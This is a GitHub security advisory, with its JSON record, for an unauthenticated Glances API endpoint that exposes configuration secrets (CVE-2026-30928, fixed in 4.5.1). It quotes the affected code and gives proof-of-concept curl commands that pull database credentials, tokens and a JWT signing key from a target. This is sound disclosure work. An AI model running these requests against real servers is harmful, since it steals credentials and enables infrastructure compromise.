GHSA-GH4X-F7CQ-WWX6

Vulnerability from github – Published: 2026-03-09 19:50 – Updated: 2026-03-10 18:44
VLAI?
Summary
Glances Exposes Unauthenticated Configuration Secrets
Details

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code: - File: glances/outputs/glances_restful_api.py, lines 1154-1167

def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)
  • File: glances/config.py, lines 280-287
def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary
  • File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

  • Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
  • From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:

# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:50:00Z",
    "nvd_published_at": "2026-03-10T18:18:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n    \"\"\"Glances API RESTful implementation.\n\n    Return the JSON representation of the Glances configuration file\n    HTTP/200 if OK\n    HTTP/404 if others error\n    \"\"\"\n    try:\n        # Get the RAW value of the config\u0027 dict\n        args_json = self.config.as_dict()  # \u003c-- Returns ALL config including secrets\n    except Exception as e:\n        raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n    else:\n        return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n    \"\"\"Return the configuration as a dict\"\"\"\n    dictionary = {}\n    for section in self.parser.sections():\n        dictionary[section] = {}\n        for option in self.parser.options(section):\n            dictionary[section][option] = self.parser.get(section, option)  # No filtering\n    return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)  # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.",
  "id": "GHSA-gh4x-f7cq-wwx6",
  "modified": "2026-03-10T18:44:36Z",
  "published": "2026-03-09T19:50:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances Exposes Unauthenticated Configuration Secrets"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…